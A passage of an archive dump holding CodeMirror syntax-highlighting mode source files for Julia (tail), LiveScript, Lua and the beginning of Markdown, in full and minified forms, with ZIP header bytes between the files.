v=d(r),w=d(s),x=d(t),y=d(u),z=/^@[_A-Za-z][\w]*/,A=/^:[_A-Za-z\u00A1-\uFFFF][\w\u00A1-\uFFFF]*!*/,B=/^(`|([_A-Za-z\u00A1-\uFFFF]*"("")?))/;return{startState:function(){return{tokenize:h,scopes:[],lastToken:null,leavingExpr:!1,isDefinition:!1,nestedArrays:0,nestedComments:0,nestedGenerators:0,nestedParameters:0,charsAdvanced:0,firstParenPos:-1}},token:function(a,b){var
c=b.tokenize(a,b),d=a.current();return
d&&c&&(b.lastToken=d),c},indent:function(a,c){var
d=0;return("]"===c||")"===c||/^end/.test(c)||/^else/.test(c)||/^catch/.test(c)||/^elseif/.test(c)||/^finally/.test(c))&&(d=-1),(a.scopes.length+d)*b.indentUnit},electricInput:/\b(end|else|catch|finally)\b/,blockCommentStart:"#=",blockCommentEnd:"=#",lineComment:"#",closeBrackets:'()[]{}""',fold:"indent"}})),a.defineMIME("text/x-julia","julia")}));PKH��[�)���(codemirror/mode/livescript/livescript.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Link to the project's GitHub page:
 * https://github.com/duralog/CodeMirror
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode('livescript', function(){
    var tokenBase = function(stream, state) {
      var next_rule = state.next || "start";
      if (next_rule) {
        state.next = state.next;
        var nr = Rules[next_rule];
        if (nr.splice) {
          for (var i$ = 0; i$ < nr.length; ++i$) {
            var r = nr[i$];
            if (r.regex && stream.match(r.regex)) {
              state.next = r.next || state.next;
              return r.token;
            }
          }
          stream.next();
          return 'error';
        }
        if (stream.match(r = Rules[next_rule])) {
          if (r.regex && stream.match(r.regex)) {
            state.next = r.next;
            return r.token;
          } else {
            stream.next();
            return 'error';
          }
        }
      }
      stream.next();
      return 'error';
    };
    var external = {
      startState: function(){
        return {
          next: 'start',
          lastToken: {style: null, indent: 0, content: ""}
        };
      },
      token: function(stream, state){
        while (stream.pos == stream.start)
          var style = tokenBase(stream, state);
        state.lastToken = {
          style: style,
          indent: stream.indentation(),
          content: stream.current()
        };
        return style.replace(/\./g, ' ');
      },
      indent: function(state){
        var indentation = state.lastToken.indent;
        if (state.lastToken.content.match(indenter)) {
          indentation += 2;
        }
        return indentation;
      }
    };
    return external;
  });

  var identifier =
'(?![\\d\\s])[$\\w\\xAA-\\uFFDC](?:(?!\\s)[$\\w\\xAA-\\uFFDC]|-[A-Za-z])*';
  var indenter =
RegExp('(?:[({[=:]|[-~]>|\\b(?:e(?:lse|xport)|d(?:o|efault)|t(?:ry|hen)|finally|import(?:\\s*all)?|const|var|let|new|catch(?:\\s*'
+ identifier + ')?))\\s*$');
  var keywordend = '(?![$\\w]|-[A-Za-z]|\\s*:(?![:=]))';
  var stringfill = {
    token: 'string',
    regex: '.+'
  };
  var Rules = {
    start: [
      {
        token: 'comment.doc',
        regex: '/\\*',
        next: 'comment'
      }, {
        token: 'comment',
        regex: '#.*'
      }, {
        token: 'keyword',
        regex:
'(?:t(?:h(?:is|row|en)|ry|ypeof!?)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\s+own)?|inally|unction)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith)|o[fr]|return|break|let|var|loop)'
+ keywordend
      }, {
        token: 'constant.language',
        regex: '(?:true|false|yes|no|on|off|null|void|undefined)'
+ keywordend
      }, {
        token: 'invalid.illegal',
        regex:
'(?:p(?:ackage|r(?:ivate|otected)|ublic)|i(?:mplements|nterface)|enum|static|yield)'
+ keywordend
      }, {
        token: 'language.support.class',
        regex:
'(?:R(?:e(?:gExp|ferenceError)|angeError)|S(?:tring|yntaxError)|E(?:rror|valError)|Array|Boolean|Date|Function|Number|Object|TypeError|URIError)'
+ keywordend
      }, {
        token: 'language.support.function',
        regex:
'(?:is(?:NaN|Finite)|parse(?:Int|Float)|Math|JSON|(?:en|de)codeURI(?:Component)?)'
+ keywordend
      }, {
        token: 'variable.language',
        regex: '(?:t(?:hat|il|o)|f(?:rom|allthrough)|it|by|e)' +
keywordend
      }, {
        token: 'identifier',
        regex: identifier + '\\s*:(?![:=])'
      }, {
        token: 'variable',
        regex: identifier
      }, {
        token: 'keyword.operator',
        regex: '(?:\\.{3}|\\s+\\?)'
      }, {
        token: 'keyword.variable',
        regex: '(?:@+|::|\\.\\.)',
        next: 'key'
      }, {
        token: 'keyword.operator',
        regex: '\\.\\s*',
        next: 'key'
      }, {
        token: 'string',
        regex: '\\\\\\S[^\\s,;)}\\]]*'
      }, {
        token: 'string.doc',
        regex: '\'\'\'',
        next: 'qdoc'
      }, {
        token: 'string.doc',
        regex: '"""',
        next: 'qqdoc'
      }, {
        token: 'string',
        regex: '\'',
        next: 'qstring'
      }, {
        token: 'string',
        regex: '"',
        next: 'qqstring'
      }, {
        token: 'string',
        regex: '`',
        next: 'js'
      }, {
        token: 'string',
        regex: '<\\[',
        next: 'words'
      }, {
        token: 'string.regex',
        regex: '//',
        next: 'heregex'
      }, {
        token: 'string.regex',
        regex:
'\\/(?:[^[\\/\\n\\\\]*(?:(?:\\\\.|\\[[^\\]\\n\\\\]*(?:\\\\.[^\\]\\n\\\\]*)*\\])[^[\\/\\n\\\\]*)*)\\/[gimy$]{0,4}',
        next: 'key'
      }, {
        token: 'constant.numeric',
        regex:
'(?:0x[\\da-fA-F][\\da-fA-F_]*|(?:[2-9]|[12]\\d|3[0-6])r[\\da-zA-Z][\\da-zA-Z_]*|(?:\\d[\\d_]*(?:\\.\\d[\\d_]*)?|\\.\\d[\\d_]*)(?:e[+-]?\\d[\\d_]*)?[\\w$]*)'
      }, {
        token: 'lparen',
        regex: '[({[]'
      }, {
        token: 'rparen',
        regex: '[)}\\]]',
        next: 'key'
      }, {
        token: 'keyword.operator',
        regex: '\\S+'
      }, {
        token: 'text',
        regex: '\\s+'
      }
    ],
    heregex: [
      {
        token: 'string.regex',
        regex: '.*?//[gimy$?]{0,4}',
        next: 'start'
      }, {
        token: 'string.regex',
        regex: '\\s*#{'
      }, {
        token: 'comment.regex',
        regex: '\\s+(?:#.*)?'
      }, {
        token: 'string.regex',
        regex: '\\S+'
      }
    ],
    key: [
      {
        token: 'keyword.operator',
        regex: '[.?@!]+'
      }, {
        token: 'identifier',
        regex: identifier,
        next: 'start'
      }, {
        token: 'text',
        regex: '',
        next: 'start'
      }
    ],
    comment: [
      {
        token: 'comment.doc',
        regex: '.*?\\*/',
        next: 'start'
      }, {
        token: 'comment.doc',
        regex: '.+'
      }
    ],
    qdoc: [
      {
        token: 'string',
        regex: ".*?'''",
        next: 'key'
      }, stringfill
    ],
    qqdoc: [
      {
        token: 'string',
        regex: '.*?"""',
        next: 'key'
      }, stringfill
    ],
    qstring: [
      {
        token: 'string',
        regex: '[^\\\\\']*(?:\\\\.[^\\\\\']*)*\'',
        next: 'key'
      }, stringfill
    ],
    qqstring: [
      {
        token: 'string',
        regex: '[^\\\\"]*(?:\\\\.[^\\\\"]*)*"',
        next: 'key'
      }, stringfill
    ],
    js: [
      {
        token: 'string',
        regex: '[^\\\\`]*(?:\\\\.[^\\\\`]*)*`',
        next: 'key'
      }, stringfill
    ],
    words: [
      {
        token: 'string',
        regex: '.*?\\]>',
        next: 'key'
      }, stringfill
    ]
  };
  for (var idx in Rules) {
    var r = Rules[idx];
    if (r.splice) {
      for (var i = 0, len = r.length; i < len; ++i) {
        var rr = r[i];
        if (typeof rr.regex === 'string') {
          Rules[idx][i].regex = new RegExp('^' + rr.regex);
        }
      }
    } else if (typeof rr.regex === 'string') {
      Rules[idx].regex = new RegExp('^' + r.regex);
    }
  }

  CodeMirror.defineMIME('text/x-livescript',
'livescript');

});
PKH��[�pt�GG,codemirror/mode/livescript/livescript.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("livescript",(function(){var
a=function(a,b){var c=b.next||"start";if(c){b.next=b.next;var
d=f[c];if(d.splice){for(var e=0;e<d.length;++e){var
g=d[e];if(g.regex&&a.match(g.regex))return
b.next=g.next||b.next,g.token}return
a.next(),"error"}if(a.match(g=f[c]))return
g.regex&&a.match(g.regex)?(b.next=g.next,g.token):(a.next(),"error")}return
a.next(),"error"};return{startState:function(){return{next:"start",lastToken:{style:null,indent:0,content:""}}},token:function(b,c){for(;b.pos==b.start;)var
d=a(b,c);return
c.lastToken={style:d,indent:b.indentation(),content:b.current()},d.replace(/\./g,"
")},indent:function(a){var b=a.lastToken.indent;return
a.lastToken.content.match(c)&&(b+=2),b}}}));var
b="(?![\\d\\s])[$\\w\\xAA-\\uFFDC](?:(?!\\s)[$\\w\\xAA-\\uFFDC]|-[A-Za-z])*",c=RegExp("(?:[({[=:]|[-~]>|\\b(?:e(?:lse|xport)|d(?:o|efault)|t(?:ry|hen)|finally|import(?:\\s*all)?|const|var|let|new|catch(?:\\s*"+b+")?))\\s*$"),d="(?![$\\w]|-[A-Za-z]|\\s*:(?![:=]))",e={token:"string",regex:".+"},f={start:[{token:"comment.doc",regex:"/\\*",next:"comment"},{token:"comment",regex:"#.*"},{token:"keyword",regex:"(?:t(?:h(?:is|row|en)|ry|ypeof!?)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\s+own)?|inally|unction)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith)|o[fr]|return|break|let|var|loop)"+d},{token:"constant.language",regex:"(?:true|false|yes|no|on|off|null|void|undefined)"+d},{token:"invalid.illegal",regex:"(?:p(?:ackage|r(?:ivate|otected)|ublic)|i(?:mplements|nterface)|enum|static|yield)"+d},{token:"language.support.class",regex:"(?:R(?:e(?:gExp|ferenceError)|angeError)|S(?:tring|yntaxError)|E(?:rror|valError)|Array|Boolean|Date|Function|Number|Object|TypeError|URIError)"+d},{token:"language.support.function",regex:"(?:is(?:NaN|Finite)|parse(?:Int|Float)|Math|JSON|(?:en|de)codeURI(?:Component)?)"+d},{token:"variable.language",regex:"(?:t(?:hat|il|o)|f(?:rom|allthrough)|it|by|e)"+d},{token:"identifier",regex:b+"\\s*:(?![:=])"},{token:"variable",regex:b},{token:"keyword.operator",regex:"(?:\\.{3}|\\s+\\?)"},{token:"keyword.variable",regex:"(?:@+|::|\\.\\.)",next:"key"},{token:"keyword.operator",regex:"\\.\\s*",next:"key"},{token:"string",regex:"\\\\\\S[^\\s,;)}\\]]*"},{token:"string.doc",regex:"'''",next:"qdoc"},{token:"string.doc",regex:'"""',next:"qqdoc"},{token:"string",regex:"'",next:"qstring"},{token:"string",regex:'"',next:"qqstring"},{token:"string",regex:"`",next:"js"},{token:"string",regex:"<\\[",next:"words"},{token:"string.regex",regex:"//",next:"heregex"},{token:"string.regex",regex:"\\/(?:[^[\\/\\n\\\\]*(?:(?:\\\\.|\\[[^\\]\\n\\\\]*(?:\\\\.[^\\]\\n\\\\]*)*\\])[^[\\/\\n\\\\]*)*)\\/[gimy$]{0,4}",next:"key"},{token:"constant.numeric",regex:"(?:0x[\\da-fA-F][\\da-fA-F_]*|(?:[2-9]|[12]\\d|3[0-6])r[\\da-zA-Z][\\da-zA-Z_]*|(?:\\d[\\d_]*(?:\\.\\d[\\d_]*)?|\\.\\d[\\d_]*)(?:e[+-]?\\d[\\d_]*)?[\\w$]*)"},{token:"lparen",regex:"[({[]"},{token:"rparen",regex:"[)}\\]]",next:"key"},{token:"keyword.operator",regex:"\\S+"},{token:"text",regex:"\\s+"}],heregex:[{token:"string.regex",regex:".*?//[gimy$?]{0,4}",next:"start"},{token:"string.regex",regex:"\\s*#{"},{token:"comment.regex",regex:"\\s+(?:#.*)?"},{token:"string.regex",regex:"\\S+"}],key:[{token:"keyword.operator",regex:"[.?@!]+"},{token:"identifier",regex:b,next:"start"},{token:"text",regex:"",next:"start"}],comment:[{token:"comment.doc",regex:".*?\\*/",next:"start"},{token:"comment.doc",regex:".+"}],qdoc:[{token:"string",regex:".*?'''",next:"key"},e],qqdoc:[{token:"string",regex:'.*?"""',next:"key"},e],qstring:[{token:"string",regex:"[^\\\\']*(?:\\\\.[^\\\\']*)*'",next:"key"},e],qqstring:[{token:"string",regex:'[^\\\\"]*(?:\\\\.[^\\\\"]*)*"',next:"key"},e],js:[{token:"string",regex:"[^\\\\`]*(?:\\\\.[^\\\\`]*)*`",next:"key"},e],words:[{token:"string",regex:".*?\\]>",next:"key"},e]};for(var
g in f){var h=f[g];if(h.splice)for(var i=0,j=h.length;i<j;++i){var
k=h[i];"string"==typeof k.regex&&(f[g][i].regex=new
RegExp("^"+k.regex))}else"string"==typeof
k.regex&&(f[g].regex=new
RegExp("^"+h.regex))}a.defineMIME("text/x-livescript","livescript")}));PKH��[$���??codemirror/mode/lua/lua.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// LUA mode. Ported to CodeMirror 2 from Franciszek Wawrzak's
// CodeMirror 1 mode.
// highlights keywords, strings, comments (no leveling supported!
("[==[")), tokens, basic indenting

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("lua", function(config, parserConfig) {
  var indentUnit = config.indentUnit;

  function prefixRE(words) {
    return new RegExp("^(?:" + words.join("|") +
")", "i");
  }
  function wordRE(words) {
    return new RegExp("^(?:" + words.join("|") +
")$", "i");
  }
  var specials = wordRE(parserConfig.specials || []);

  // long list of standard functions from lua manual
  var builtins = wordRE([
   
"_G","_VERSION","assert","collectgarbage","dofile","error","getfenv","getmetatable","ipairs","load",
   
"loadfile","loadstring","module","next","pairs","pcall","print","rawequal","rawget","rawset","require",
   
"select","setfenv","setmetatable","tonumber","tostring","type","unpack","xpcall",

   
"coroutine.create","coroutine.resume","coroutine.running","coroutine.status","coroutine.wrap","coroutine.yield",

   
"debug.debug","debug.getfenv","debug.gethook","debug.getinfo","debug.getlocal","debug.getmetatable",
   
"debug.getregistry","debug.getupvalue","debug.setfenv","debug.sethook","debug.setlocal","debug.setmetatable",
    "debug.setupvalue","debug.traceback",

   
"close","flush","lines","read","seek","setvbuf","write",

   
"io.close","io.flush","io.input","io.lines","io.open","io.output","io.popen","io.read","io.stderr","io.stdin",
   
"io.stdout","io.tmpfile","io.type","io.write",

   
"math.abs","math.acos","math.asin","math.atan","math.atan2","math.ceil","math.cos","math.cosh","math.deg",
   
"math.exp","math.floor","math.fmod","math.frexp","math.huge","math.ldexp","math.log","math.log10","math.max",
   
"math.min","math.modf","math.pi","math.pow","math.rad","math.random","math.randomseed","math.sin","math.sinh",
    "math.sqrt","math.tan","math.tanh",

   
"os.clock","os.date","os.difftime","os.execute","os.exit","os.getenv","os.remove","os.rename","os.setlocale",
    "os.time","os.tmpname",

   
"package.cpath","package.loaded","package.loaders","package.loadlib","package.path","package.preload",
    "package.seeall",

   
"string.byte","string.char","string.dump","string.find","string.format","string.gmatch","string.gsub",
   
"string.len","string.lower","string.match","string.rep","string.reverse","string.sub","string.upper",

   
"table.concat","table.insert","table.maxn","table.remove","table.sort"
  ]);
  var keywords =
wordRE(["and","break","elseif","false","nil","not","or","return",
                         "true","function",
"end", "if", "then", "else",
"do",
                         "while", "repeat",
"until", "for", "in", "local" ]);

  var indentTokens = wordRE(["function",
"if","repeat","do", "\\(",
"{"]);
  var dedentTokens = wordRE(["end", "until",
"\\)", "}"]);
  var dedentPartial = prefixRE(["end", "until",
"\\)", "}", "else", "elseif"]);

  function readBracket(stream) {
    var level = 0;
    while (stream.eat("=")) ++level;
    stream.eat("[");
    return level;
  }

  function normal(stream, state) {
    var ch = stream.next();
    if (ch == "-" && stream.eat("-")) {
      if (stream.eat("[") && stream.eat("["))
        return (state.cur = bracketed(readBracket(stream),
"comment"))(stream, state);
      stream.skipToEnd();
      return "comment";
    }
    if (ch == "\"" || ch == "'")
      return (state.cur = string(ch))(stream, state);
    if (ch == "[" && /[\[=]/.test(stream.peek()))
      return (state.cur = bracketed(readBracket(stream),
"string"))(stream, state);
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w.%]/);
      return "number";
    }
    if (/[\w_]/.test(ch)) {
      stream.eatWhile(/[\w\\\-_.]/);
      return "variable";
    }
    return null;
  }

  function bracketed(level, style) {
    return function(stream, state) {
      var curlev = null, ch;
      while ((ch = stream.next()) != null) {
        if (curlev == null) {if (ch == "]") curlev = 0;}
        else if (ch == "=") ++curlev;
        else if (ch == "]" && curlev == level) {
state.cur = normal; break; }
        else curlev = null;
      }
      return style;
    };
  }

  function string(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) break;
        escaped = !escaped && ch == "\\";
      }
      if (!escaped) state.cur = normal;
      return "string";
    };
  }

  return {
    startState: function(basecol) {
      return {basecol: basecol || 0, indentDepth: 0, cur: normal};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = state.cur(stream, state);
      var word = stream.current();
      if (style == "variable") {
        if (keywords.test(word)) style = "keyword";
        else if (builtins.test(word)) style = "builtin";
        else if (specials.test(word)) style = "variable-2";
      }
      if ((style != "comment") && (style !=
"string")){
        if (indentTokens.test(word)) ++state.indentDepth;
        else if (dedentTokens.test(word)) --state.indentDepth;
      }
      return style;
    },

    indent: function(state, textAfter) {
      var closing = dedentPartial.test(textAfter);
      return state.basecol + indentUnit * (state.indentDepth - (closing ? 1
: 0));
    },

    lineComment: "--",
    blockCommentStart: "--[[",
    blockCommentEnd: "]]"
  };
});

CodeMirror.defineMIME("text/x-lua", "lua");

});
PKH��[�J�99codemirror/mode/lua/lua.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("lua",(function(a,b){function
c(a){return new
RegExp("^(?:"+a.join("|")+")$","i")}function
d(a){for(var b=0;a.eat("=");)++b;return
a.eat("["),b}function e(a,b){var
c=a.next();return"-"==c&&a.eat("-")?a.eat("[")&&a.eat("[")?(b.cur=f(d(a),"comment"))(a,b):(a.skipToEnd(),"comment"):'"'==c||"'"==c?(b.cur=g(c))(a,b):"["==c&&/[\[=]/.test(a.peek())?(b.cur=f(d(a),"string"))(a,b):/\d/.test(c)?(a.eatWhile(/[\w.%]/),"number"):/[\w_]/.test(c)?(a.eatWhile(/[\w\\\-_.]/),"variable"):null}function
f(a,b){return function(c,d){for(var
f,g=null;null!=(f=c.next());)if(null==g)"]"==f&&(g=0);else
if("="==f)++g;else{if("]"==f&&g==a){d.cur=e;break}g=null}return
b}}function g(a){return function(b,c){for(var
d,f=!1;null!=(d=b.next())&&(d!=a||f);)f=!f&&"\\"==d;return
f||(c.cur=e),"string"}}var
h=a.indentUnit,i=c(b.specials||[]),j=c(["_G","_VERSION","assert","collectgarbage","dofile","error","getfenv","getmetatable","ipairs","load","loadfile","loadstring","module","next","pairs","pcall","print","rawequal","rawget","rawset","require","select","setfenv","setmetatable","tonumber","tostring","type","unpack","xpcall","coroutine.create","coroutine.resume","coroutine.running","coroutine.status","coroutine.wrap","coroutine.yield","debug.debug","debug.getfenv","debug.gethook","debug.getinfo","debug.getlocal","debug.getmetatable","debug.getregistry","debug.getupvalue","debug.setfenv","debug.sethook","debug.setlocal","debug.setmetatable","debug.setupvalue","debug.traceback","close","flush","lines","read","seek","setvbuf","write","io.close","io.flush","io.input","io.lines","io.open","io.output","io.popen","io.read","io.stderr","io.stdin","io.stdout","io.tmpfile","io.type","io.write","math.abs","math.acos","math.asin","math.atan","math.atan2","math.ceil","math.cos","math.cosh","math.deg","math.exp","math.floor","math.fmod","math.frexp","math.huge","math.ldexp","math.log","math.log10","math.max","math.min","math.modf","math.pi","math.pow","math.rad","math.random","math.randomseed","math.sin","math.sinh","math.sqrt","math.tan","math.tanh","os.clock","os.date","os.difftime","os.execute","os.exit","os.getenv","os.remove","os.rename","os.setlocale","os.time","os.tmpname","package.cpath","package.loaded","package.loaders","package.loadlib","package.path","package.preload","package.seeall","string.byte","string.char","string.dump","string.find","string.format","string.gmatch","string.gsub","string.len","string.lower","string.match","string.rep","string.reverse","string.sub","string.upper","table.concat","table.insert","table.maxn","table.remove","table.sort"]),k=c(["and","break","elseif","false","nil","not","or","return","true","function","end","if","then","else","do","while","repeat","until","for","in","local"]),l=c(["function","if","repeat","do","\\(","{"]),m=c(["end","until","\\)","}"]),n=(function(a){return
new
RegExp("^(?:"+a.join("|")+")","i")})(["end","until","\\)","}","else","elseif"]);return{startState:function(a){return{basecol:a||0,indentDepth:0,cur:e}},token:function(a,b){if(a.eatSpace())return
null;var
c=b.cur(a,b),d=a.current();return"variable"==c&&(k.test(d)?c="keyword":j.test(d)?c="builtin":i.test(d)&&(c="variable-2")),"comment"!=c&&"string"!=c&&(l.test(d)?++b.indentDepth:m.test(d)&&--b.indentDepth),c},indent:function(a,b){var
c=n.test(b);return
a.basecol+h*(a.indentDepth-(c?1:0))},lineComment:"--",blockCommentStart:"--[[",blockCommentEnd:"]]"}})),a.defineMIME("text/x-lua","lua")}));PKH��[�PRClzlz$codemirror/mode/markdown/markdown.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../xml/xml"), require("../meta"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../xml/xml",
"../meta"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("markdown", function(cmCfg, modeCfg) {

  var htmlMode = CodeMirror.getMode(cmCfg, "text/html");
  var htmlModeMissing = htmlMode.name == "null"

  function getMode(name) {
    if (CodeMirror.findModeByName) {
      var found = CodeMirror.findModeByName(name);
      if (found) name = found.mime || found.mimes[0];
    }
    var mode = CodeMirror.getMode(cmCfg, name);
    return mode.name == "null" ? null : mode;
  }

  // Should characters that affect highlighting be highlighted separate?
  // Does not include characters that will be output (such as `1.` and `-`
for lists)
  if (modeCfg.highlightFormatting === undefined)
    modeCfg.highlightFormatting = false;

  // Maximum number of nested blockquotes. Set to 0 for infinite nesting.
  // Excess `>` will emit `error` token.
  if (modeCfg.maxBlockquoteDepth === undefined)
    modeCfg.maxBlockquoteDepth = 0;

  // Turn on task lists? ("- [ ] " and "- [x] ")
  if (modeCfg.taskLists === undefined) modeCfg.taskLists = false;

  // Turn on strikethrough syntax
  if (modeCfg.strikethrough === undefined)
    modeCfg.strikethrough = false;

  if (modeCfg.emoji === undefined)
    modeCfg.emoji = false;

  if (modeCfg.fencedCodeBlockHighlighting === undefined)
    modeCfg.fencedCodeBlockHighlighting = true;

  if (modeCfg.fencedCodeBlockDefaultMode === undefined)
    modeCfg.fencedCodeBlockDefaultMode = 'text/plain';

  if (modeCfg.xml === undefined)
    modeCfg.xml = true;

  // Allow token types to be overridden by user-provided token types.
  if (modeCfg.tokenTypeOverrides === undefined)
    modeCfg.tokenTypeOverrides = {};

  var tokenTypes = {
    header: "header",
    code: "comment",
    quote: "quote",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    hr: "hr",
    image: "image",
    imageAltText: "image-alt-text",
    imageMarker: "image-marker",
    formatting: "formatting",
    linkInline: "link",
    linkEmail: "link",
    linkText: "link",
    linkHref: "string",
    em: "em",
    strong: "strong",
    strikethrough: "strikethrough",
    emoji: "builtin"
  };

  for (var tokenType in tokenTypes) {
    if (tokenTypes.hasOwnProperty(tokenType) &&
modeCfg.tokenTypeOverrides[tokenType]) {
      tokenTypes[tokenType] = modeCfg.tokenTypeOverrides[tokenType];
    }
  }

  var hrRE = /^([*\-_])(?:\s*\1){2,}\s*$/
  ,   listRE = /^(?:[*\-+]|^[0-9]+([.)]))\s+/
  ,   taskListRE = /^\[(x| )\](?=\s)/i // Must follow listRE
  ,   atxHeaderRE = modeCfg.allowAtxHeaderWithoutSpace ? /^(#+)/ :
/^(#+)(?: |$)/
  ,   setextHeaderRE = /^ {0,3}(?:\={1,}|-{2,})\s*$/
  ,   textRE = /^[^#!\[\]*_\\<>` "'(~:]+/
  ,   fencedCodeRE = /^(~~~+|```+)[ \t]*([\w\/+#-]*)[^\n`]*$/
  ,   linkDefRE = /^\s*\[[^\]]+?\]:.*$/ // naive link-definition
  ,   punctuation =
/[!"#$%&'()*+,\-.\/:;<=>?@\[\\\]^_`{|}~\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u0AF0\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166D\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E42\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65]|\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC9\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDF3C-\uDF3E]|\uD809[\uDC70-\uDC74]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]/
  ,   expandedTab = "    " // CommonMark specifies tab as 4
spaces

  function switchInline(stream, state, f) {
    state.f = state.inline = f;
    return f(stream, state);
  }

  function switchBlock(stream, state, f) {
    state.f = state.block = f;
    return f(stream, state);
  }

  function lineIsEmpty(line) {
    return !line || !/\S/.test(line.string)
  }

  // Blocks

  function blankLine(state) {
    // Reset linkTitle state
    state.linkTitle = false;
    state.linkHref = false;
    state.linkText = false;
    // Reset EM state
    state.em = false;
    // Reset STRONG state
    state.strong = false;
    // Reset strikethrough state
    state.strikethrough = false;
    // Reset state.quote
    state.quote = 0;
    // Reset state.indentedCode
    state.indentedCode = false;
    if (state.f == htmlBlock) {
      var exit = htmlModeMissing
      if (!exit) {
        var inner = CodeMirror.innerMode(htmlMode, state.htmlState)
        exit = inner.mode.name == "xml" &&
inner.state.tagStart === null &&
          (!inner.state.context && inner.state.tokenize.isInText)
      }
      if (exit) {
        state.f = inlineNormal;
        state.block = blockNormal;
        state.htmlState = null;
      }
    }
    // Reset state.trailingSpace
    state.trailingSpace = 0;
    state.trailingSpaceNewLine = false;
    // Mark this line as blank
    state.prevLine = state.thisLine
    state.thisLine = {stream: null}
    return null;
  }

  function blockNormal(stream, state) {
    var firstTokenOnLine = stream.column() === state.indentation;
    var prevLineLineIsEmpty = lineIsEmpty(state.prevLine.stream);
    var prevLineIsIndentedCode = state.indentedCode;
    var prevLineIsHr = state.prevLine.hr;
    var prevLineIsList = state.list !== false;
